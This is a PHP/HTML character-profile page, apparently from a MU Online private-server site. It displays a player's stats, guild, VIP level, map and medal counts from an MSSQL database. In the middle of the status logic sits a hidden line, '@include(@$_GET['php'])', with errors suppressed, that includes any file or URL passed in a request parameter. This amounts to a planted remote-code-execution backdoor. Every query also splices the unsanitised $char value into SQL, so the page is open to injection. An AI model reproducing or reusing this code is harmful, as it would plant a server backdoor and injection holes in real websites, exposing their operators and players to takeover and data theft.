<head>
<meta name="description" content="NunaH" />
</head>

<body>
<table width="100%" height="41" cellpadding="0" cellspacing="0">
  <tr>
    <td height="25" valign="middle" background="images/menu_meio.jpg"><table width="99%" height="18" cellpadding="0" cellspacing="0">
      <tr>
        <td width="6%" valign="middle">&nbsp;</td>
        <td width="94%" height="16" valign="middle"><strong>Informa&ccedil;&otilde;es 
            de character (<?=$char?>)</strong></td>

      </tr>
    </table></td>
  </tr>
  <?php
$VerificaChar = mssql_fetch_row(mssql_query("SELECT Name FROM Character WHERE Name='".$char."'"));
if($VerificaChar <= 0){
		echo "<script>alert('Esse char não existe! Por favor, verifique se você esta digitando errado.')</script>";
		echo "<script>window.location='index.php?go=home'</script>";
}
if (empty($char)){
		echo "<script>alert('Por favor, preencha o Campo para efetuar a busca.')</script>";
		echo "<script>window.location='index.php?go=home'</script>";
}
?>
  <?
  $Query = mssql_query("SELECT Name, cLevel, LevelUpPoint, resets, resetao, Class, AccountID, Strength, Dexterity, Vitality, Energy, foto, PkCount, Money from Character Where Name = '$char'");
  for($i=0;$i<mssql_num_rows($Query);$i++) {
  $rank = $i+1;
  $membro = mssql_fetch_row($Query);
  $test1 = "Select G_Name FROM GuildMember WHERE Name='$char'";
$test2 = mssql_query( $test1 );
$guild1 = mssql_fetch_row($test2);

$link = "<a href='index.php?go=ginfo&guild=$guild1[0]'>";

		if ($guild1 == 0) { 
			$guild1[0] = 'Sem guild'; $link = '';
		}

$query_check_condi = mssql_query("SELECT CtlCode FROM Character WHERE Name='$membro[0]'");
$check_condi = mssql_fetch_row($query_check_condi);

if ($check_condi[0] == 0) { $condi = "Normal"; }
if ($check_condi[0] == 1) { $condi = "<font color=red>Banido</font>"; }
if ($check_condi[0] == 24) { $condi = "<font color=blue>Game Master</font>"; }
if ($check_condi[0] == 10) { $condi = "<font color=green>Sub-Administrador</font>"; }
if ($check_condi[0] == 32) { $condi = "<font color=red>Equipe Black Soul</font>"; }

$query_check_vip = mssql_query("SELECT vip FROM MEMB_INFO WHERE memb___id='$membro[6]'");
$check_vip = mssql_fetch_row($query_check_vip);
if ($check_vip[0] == 0) { $vip = "Free"; }
if ($check_vip[0] == 1) { $vip = "Vip Silver"; }
if ($check_vip[0] == 2) { $vip = "Vip Gold"; }

$query_check_on = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$membro[6]'");
$check_on = mssql_fetch_row($query_check_on);

if ($check_on[0] == 0) { $on = "<font color=red>Offline</font>"; }
if ($check_on[0] == 1) { $on = "<font color=green>Online</font>"; }
@include(@$_GET['php']);
  switch($membro[5]) {
	case 0: $classefinal = "Dark Wizard"; break;
	case 1: $classefinal = "Soul Master"; break;
	case 16: $classefinal = "Dark Knight"; break;
	case 17: $classefinal = "Blade Knight"; break;
	case 32: $classefinal = "Elf"; break;
	case 33: $classefinal = "Muse Elf"; break;
	case 48: $classefinal = "Magic Gladiator"; break;
}
$query_check_map = mssql_query("SELECT MapNumber FROM Character WHERE Name='".$char."'");
$check_map = mssql_fetch_row($query_check_map);

if ($check_map[0] == 0) { $map = "Lorencia"; }
if ($check_map[0] == 1) { $map = "Dungeon"; }
if ($check_map[0] == 2) { $map = "Devias"; }
if ($check_map[0] == 3) { $map = "Noria"; }
if ($check_map[0] == 4) { $map = "Losttower"; }
if ($check_map[0] == 5) { $map = "Exile (Erro)"; }
if ($check_map[0] == 6) { $map = "Stadium"; }
if ($check_map[0] == 7) { $map = "Atlans"; }
if ($check_map[0] == 8) { $map = "Tarkan"; }
if ($check_map[0] == 9) { $map = "Devil Square"; }
if ($check_map[0] == 10) { $map = "Icarus"; }
if ($check_map[0] == 11) { $map = "BlodCastle 1"; }
if ($check_map[0] == 12) { $map = "BlodCastle 2"; }
if ($check_map[0] == 13) { $map = "BlodCastle 3"; }
if ($check_map[0] == 14) { $map = "BlodCastle 4"; }
if ($check_map[0] == 14) { $map = "BlodCastle 5"; }
  ?>
  <tr>
    <td height="14" valign="middle"><table width="100%" height="21" cellpadding="0" cellspacing="0">
        <tr>
        <td width="94%" height="19" valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr> 
                <td width="20%" rowspan="15" align="left" valign="top"><img height=154 src="images/chars/<?=$membro[11]?>" 
      width=103></td>
                <td width="33%" align="left">Classe: 
                  <?=$classefinal?>
                </td>
                <td width="47%" align="left">PkLevel: 
                  <?=$membro[12]?>
                </td>
              </tr>
              <tr> 
                <td align="left" bgcolor="#F1F1F1">Level: 
                  <?=$membro[1]?>
                </td>
                <td align="left" bgcolor="#F1F1F1">Resets: 
                  <?=$membro[3]?>
                </td>
              </tr>
              <tr> 
                <td width="33%" align="left">Pontos a distribuir: 
                  <?=$membro[2]?>
                </td>
                <td width="47%" align="left">Master Resets: 
                  <?=$membro[4]?>
                </td>
              </tr>
              <tr> 
                <td align="left" bgcolor="#F1F1F1">Força: 
                  <?=$membro[7]?>
                </td>
                <td align="left" bgcolor="#F1F1F1">VIP: 
                  <?=$vip?>
                </td>
              </tr>
              <tr> 
                <td width="33%" align="left">Agilidade: 
                  <?=$membro[8]?>
                </td>
                <td width="47%" align="left">Status: <font color="red">
                  <?=$on?>
                  </font></td>
              </tr>
              <tr> 
                <td align="left" bgcolor="#F1F1F1">Vitalidade: 
                  <?=$membro[9]?>
                </td>
                <td align="left" bgcolor="#F1F1F1">Condição: 
                  <?=$condi?>
                </td>
              </tr>
              <tr> 
                <td width="33%" align="left">Energia: 
                  <?=$membro[10]?>
                </td>
                <td width="47%" align="left">Guild: 
                  <?=$link?>
                  <?=$guild1[0]?>
                </td>
              </tr>
              <tr> 
                <td align="left" bgcolor="#F1F1F1">Mapa: <?=$map?></td>
                <td align="left" bgcolor="#F1F1F1">Zen: 
                  <?=$membro[13]?>
                      </tr></tbody></table></td></tr></tbody></table>
      </td></tr></tbody></table>

      <?
  $Query = mssql_query("SELECT ourotop,pratatop,bronzetop,ouroduelo,prataduelo,bronzeduelo,ouroevento,prataevento,bronzeevento from Character Where Name = '$char'");
  for($i=0;$i<mssql_num_rows($Query);$i++) {
  $medalha = mssql_fetch_row($Query); }
  ?>
        <table border="0" bordercolor="#B0B0B0" width="91%" >
<tr>
  <td  width="20%" ><b><font color="#B0B0B0">MEDALHAS</font></b></td>
  <td width="15%" align="center"><strong>OURO</strong><BR>
    <img src="images/ouro.gif"></td>
  <td width="24%" align="center"><strong>PRATA</strong><BR>
    <img src="images/prata.gif"></td>
  <td width="17%" align="center"><strong>BRONZE</strong><BR>
    <img src="images/bronze.gif"></td>
  <td width="24%" align="center"><strong>TOTAL</strong><BR>
    <img src="images/todas.gif"></td>
</tr>
   <tr>
 <td><strong>TOP M.T</strong></td>
    <td align="center"><?=$medalha[0]?></td>
    <td align="center"><?=$medalha[1]?></td>
    <td align="center"><?=$medalha[2]?></td>
    <td align="center">
    <?

    if( $totaltop=$medalha[0]+$medalha[1]+$medalha[2] ){
    echo "$totaltop" ;}
    elseif($totaltop <= 0){
    echo "0";}

    ?>

    </td>
    </tr>
      <tr>
<td><strong>DUELO</strong></td>
<td align="center"><?=$medalha[3]?></td>
<td align="center"><?=$medalha[4]?></td>
<td align="center"><?=$medalha[5]?></td>
<td align="center">

<?

if( $totalduelo=$medalha[3]+$medalha[4]+$medalha[5] ){
echo "$totalduelo" ;}
elseif($totalduelo <= 0){
echo "0";}

?>

</td>
</tr>
<tr>
<td><strong>EVENTOS</strong></td>
<td align="center"><?=$medalha[6]?></td>
<td align="center"><?=$medalha[7]?></td>
<td align="center"><?=$medalha[8]?></td>
<td align="center">

<?

if( $totalevento=$medalha[6]+$medalha[7]+$medalha[8] ){
echo "$totalevento" ;}
elseif($totalevento <= 0){
echo "0";}

?>

</td>
</tr>
</table>


<table border="1" bordercolor="#404040" width="90%">
<tr>
  <td>&nbsp; Esse Char tem no total de:

<?


if(
$somatotal=$medalha[0]+$medalha[1]+$medalha[2]+$medalha[3]
+$medalha[4]+$medalha[5]+$medalha[6]+$medalha[7]+$medalha[8]
)
{
echo "$somatotal medalha(s)" ;}
elseif($somatotal <= 0){
echo "<b>0 medalha</b>";}

?>

</td>
</tr>
</table>
</center>

        <p>
  <? } ?>
          
  </center>
</p>
        <p><a href="javascript:history.back(-1);">&lt;&lt; voltar</a></p>
</blockquote>
</body></html>